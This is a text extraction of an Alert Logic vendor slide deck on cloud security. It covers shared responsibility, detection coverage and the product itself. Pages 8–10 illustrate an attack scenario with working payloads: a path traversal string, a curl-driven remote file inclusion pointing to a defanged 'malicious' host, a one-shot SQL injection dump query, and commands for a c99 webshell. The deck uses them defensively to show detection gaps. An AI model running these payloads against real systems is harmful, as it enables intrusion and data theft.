realities of security in the cloud

20
REALITIES OF SECURITY IN THE CLOUD Mark Brooks VP, Sales Engineering, Alert Logic

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Page 1: Realities of Security in the Cloud

REALITIES OF SECURITY IN THE CLOUD

Mark Brooks

VP, Sales Engineering, Alert Logic

Page 2: Realities of Security in the Cloud

Security is a challenge.

Page 3: Realities of Security in the Cloud

Security Has Changed

Page 4: Realities of Security in the Cloud

• Security Monitoring

• Log Analysis

• Vulnerability Scanning

• Network Threat Detection

• Security Monitoring

• Secure Coding and Best Practices

• Software and Virtual Patching

• Configuration Management

• Access Management (including multi-

factor authentication)

• Access Management

• Configuration Hardening

• Patch Management

• TLS/SSL Encryption

• Network Security

Configuration

• Web Application Firewall

• Vulnerability Scanning

• Application level attack monitoring

• Hypervisor Management

• System Image Library

• Root Access for Customers

• Managed Patching (PaaS, not IaaS)

• Logical Network Segmentation

• Perimeter Security Services

• External DDOS, spoofing, and

scanning monitored

APPS

CUSTOMER ALERT LOGICMICROSOFT

VIRTUAL MACHINES

NETWORKING

INFRASTRUCTURE

SERVICES

Security in the Cloud is a Shared Responsibility

Page 5: Realities of Security in the Cloud

Let’s talk about security coverage.

Page 6: Realities of Security in the Cloud

Tame the Beast

Industry Challenge: The Good, the Bad and the Ugly

Known Good

Known Bad

Suspicious

AllowIdentify | Tune | Permit

BlockDrop | Reconfigure

Application Stack

Web Apps

Server-side Apps

App Frameworks

Dev Platforms

Databases

Server OS

Hypervisor

Hardware Classification Action

HUMAN EXPERTREQUIRED

Page 7: Realities of Security in the Cloud

Classic 3-Tier Web Application Key Target Assets

Key target assets for attackAcross the Full Stack

1. Custom application

2. Web server implementation

Apache, IIS, NGINGX

3. Application server implementation

Tomcat, Jboss, Jetty, ASP

4. Web server frameworks and

languages

Struts, PHP, Java

5. DatabasesmySql, Oracle, MSSQL,..

6. Azure ServicesVMs, Storage

Azure VMs

Azure VMs

VNET

Traffic

Manager

Users Internet

gatewayLoad

Balancers

DB instance

DB instance

Ava

ila

bility z

on

e A

Ava

ila

bility z

on

e B

VMScale

Sets

Web App Server

VMScale

Sets

Storage

Blob

Azure VMs

Azure VMs

Page 8: Realities of Security in the Cloud

An attack scenario - Recon

VNET

Traffic Manager

Internet

gatewayLB

mySQL instance

On linux

Ava

ila

bility z

on

e A

Ava

ila

bility z

on

e B

Storage

Bastion

Host

PHP

Application

On Linux

1 – Performs low-frequency app-scan

2 – Tests path traversal and enumerates directories

3 – Tests remote file inclusion

Recon

Recon• low slow application level scan

• Attacker learns PHP app, on linux, likely

mySql DB

• Suspects vulnerabilities

• tests potential path traversal vulnerability

/bWAPP/directory_traversal_2.php?directory=..

/../../../etc

• Path traversal is successful. Attacker

enumerates server directories.

• tests remote file inclusion vulnerability

Curl -X POST -F 'url=http [://] malicious

[dot] com/test.php' http [://] mysite [dot]

com/wp-content/plugins/site-

import/admin/page.php>

Attacker learnings: vulnerable PHP/mySql app,

prone to both smash’n grab attacks as more

persistent attack approaches

Page 9: Realities of Security in the Cloud

Entry and data exfiltration• Attacker launches a series of SQL-I injection discovery

attempts

• Gets a dump-in-one-shot attack and gets full table returnhttp://victim.com/report.php?id=23 and(select (@a) from

(select(@a:=0x00),(select (@a) from (information_schema.schemata)where

(@a)in (@a:=concat(@a,schema_name,'<br>'))))a)

Attacker achievements: obtained sensitive customer-data without need for local

process or system breaches on servers

An attack scenario – opportunistic exfiltration

VNET

Traffic Manager

Internet

gateway

LB

mySQL instance

On linux

Ava

ila

bility z

on

e A

Ava

ila

bility z

on

e B

Storage

Bastion

Host

PHP

Application

On Linux

4 - SQL-I data extraction attack

Recon• low slow application level scan

• Attacker learns PHP app, on linux, likely mySql DB

• Suspects vulnerabilities

• tests potential path traversal vulnerability/bWAPP/directory_traversal_2.php?directory=../../../../etc

• Path traversal is successful. Attacker enumerates server directories.

• tests remote file inclusion vulnerabilityCurl -X POST -F 'url=http [://] malicious [dot] com/test.php' http

[://] mysite [dot] com/wp-content/plugins/site-import/admin/page.php>

Attacker learnings: vulnerable PHP/mySql app, prone to both smasn’n grab attacks

as more persistent attack approaches

Entry/Exfil

Page 10: Realities of Security in the Cloud

VNET

Traffic Manager

Internet

gateway

LB

mySQL instance

On linux

Ava

ila

bility z

on

e A

Ava

ila

bility z

on

e B

Storage

Bastion

Host

PHP

Application

On Linux

5 - Webshell injection

6 - Commanding through Shell

Command and control (C&C)• Attacker uploads c99 webshell via RFI vulnerability

• Persistent foothold for lateral movement establishedcurl -X POST -F 'act=search' -F 'grep=' -F 'fullhexdump=' -F 'base64='

-F 'nixpasswd=' -F 'pid=' -F 'c=' -F 'white=' -F 'sig=' -F

'processes_sort=' -F 'd=/var/www/' -F 'sort=' -F 'f=' -F 'ft=' http

[://] mysite [dot] com/path/to/c99

Attacker achievements: obtained foothold for further action and lateral

movement

Entry and data exfiltration• Attacker launches a series of SQL-I injection attempts

• Gets a dump-in-one-shot attack and gets full table returnAttacker achievements: obtained sensitive customer-data without need for local

process or system breaches on servers

Recon• low slow application level scan

• Attacker learns PHP app, on linux, likely mySql DB

• Suspects vulnerabilities

• tests potential path traversal vulnerability/bWAPP/directory_traversal_2.php?directory=../../../../etc

• Path traversal is successful. Attacker enumerates server directories.

• tests remote file inclusion vulnerability (RFI)

Attacker learnings: vulnerable PHP/mySql app, prone to both smasn’n grab attacks

as more persistent attack approaches

An attack scenario – persistent foothold

Command and control

Page 11: Realities of Security in the Cloud

Deep

Application

threat visibility

Network inspection

Expert

SOC

Analysis of

Findings

Network,

system,

application

infrastructure

threat visibility

Alert Logic’s Approach

AuditLogs

Co

nfi

g&

Vuln

Ass

ess

men

tFoundation

Asset and

exposure

visibility

Log Collection

HTTP Inspection

Expert

Curation,

R&D of

Content and

Intel

Analytics

and

Machine

Learning

Content

and

Intel

Application

level Web

Attacks

OWASP Top

10

Attacks against

vulnerable

platforms and

libraries

Attacks against

miscon-

figurations

Page 12: Realities of Security in the Cloud

Coverage needed for this scenario

Low

slow

scan

Path

traver

sal

RFI SQLiWeb

shell

ReconEntry

ExfilC&COverall combined

coverage scorecard

No coverage

Vulnerability coverage only

Basic Threat Coverage

Deep threat coverage

How much can we see?

AuditLogs

Page 13: Realities of Security in the Cloud

Coverage needed for this scenario

FoundationAsset and

exposure

visibility

Low

slow

scan

Path

traver

sal

RFI SQLiWeb

shell

Config and vulnerability

assessment will reveal

vulnerabilities present

that attackers can exploit.

Actual attacks in motion

can not be detected with

vuln and config scanning

ReconEntry

ExfilC&C

AuditLogs

Co

nfi

g&

Vu

lnA

ssess

men

t

Overall combined

coverage

No coverage

Vulnerability coverage only

Basic Threat Coverage

Deep threat coverage

Page 14: Realities of Security in the Cloud

Network,

system,

application

infrastructure

threat visibility

Coverage needed for this scenario

FoundationAsset and

exposure

visibility

Low

slow

scan

Path

traver

sal

RFI SQLiWeb

shell

Config and vulnerability

assessment will reveal

vulnerabilities present

that attackers can exploit.

Actual attacks in motion

can not be detected with

vuln and config scanning

Network inspection

providers visibility on

attacker actions on the

known vulnerabilities

exploited in the attack

and their success

ReconEntry

ExfilC&C

Network inspection

AuditLogs

Co

nfi

g&

Vu

lnA

ssess

men

t

Overall combined

coverage

No coverage

Vulnerability coverage only

Basic Threat Coverage

Deep threat coverage

Page 15: Realities of Security in the Cloud

Deep

Application

threat visibility

Network,

system,

application

infrastructure

threat visibility

Coverage needed for this scenario

FoundationAsset and

exposure

visibility

Low

slow

scan

Path

traver

sal

RFI SQLiWeb

shell

Config and vulnerability

assessment will reveal

vulnerabilities present

that attackers can exploit.

Actual attacks in motion

can not be detected with

vuln and config scanning

Network inspection

providers visibility on

attacker actions on the

known vulnerabilities

exploited in the attack

and their success

Deep HTTP inspection

on requests and

responses, learning and

anomaly detection

deepens coverage for

whole classes of

application attacks

ReconEntry

ExfilC&C

Network inspection

AuditLogs

Co

nfi

g&

Vu

lnA

ssess

men

t

Log Collection

HTTP

Inspection

Overall combined

coverage

No coverage

Vulnerability coverage only

Basic Threat Coverage

Deep threat coverage

Page 16: Realities of Security in the Cloud

SECURITYEXPERTS

Integrated Security Model

IncidentInvestigation

SystemVisual | Context | Hunt

Data & EventSources

Assets | Config | Logs

Automatic Detection

Block | Alert | Log

ML Algorithms

Rules & Analytics

Security

Researchers

Data

Scientists

Software

Programmers

Integrated: Infrastructure | Content | Human Experts

Security

Analysts

Page 17: Realities of Security in the Cloud

We designed security for cloud and hybrid environments

GET STARTED IN MINUTESMAINTAIN COVERAGE AT

CLOUD SCALEKEEP PRODUCTION FLOWING

with modular services that

grow with you

Comply

with integration to cloud APIs

and DevOps automation

with auto-scaling support and

out-of-band detection

Single pane of glass for workload and application security

across cloud, hosted & on-premises

Page 18: Realities of Security in the Cloud

Leaders

28

8

6

4

10

25

3

5

5

11

8

10

15

24

Other

Amazon

Check Point

Chronicle Data

Cisco

Fortinet

Intel Security

Okta

Symantec

Barricade

JumpCloud

Evident.io

Palerra

Microsoft

CloudPassage

CloudCheckr

FortyCloud

ThreatStack

Alert Logic

A recognized security leader

“Alert Logic has a

head start in the cloud,

and it shows.”

PETER STEPHENSON

SC Magazine review

“…the depth and breadth

of the offering’s analytics

and threat management

process goes beyond

anything we’ve seen…”Who is your primary

in-use vendor for Cloud

Infrastructure Security?

Who are the top vendors

in consideration for Cloud

Infrastructure Security?

Alert Logic

Page 19: Realities of Security in the Cloud

Over 4,000 worldwide customers

AUTOMOTIVE HEALTHCARE

EDUCATION

FINANCIAL SERVICES

MANUFACTURING

MEDIA/PUBLISHING

RETAIL/E-COMMERCE

ENERGY & CHEMICALS

TECHNOLOGY & SERVICES

GOV’T / NON-PROFIT

Page 20: Realities of Security in the Cloud

Thank You.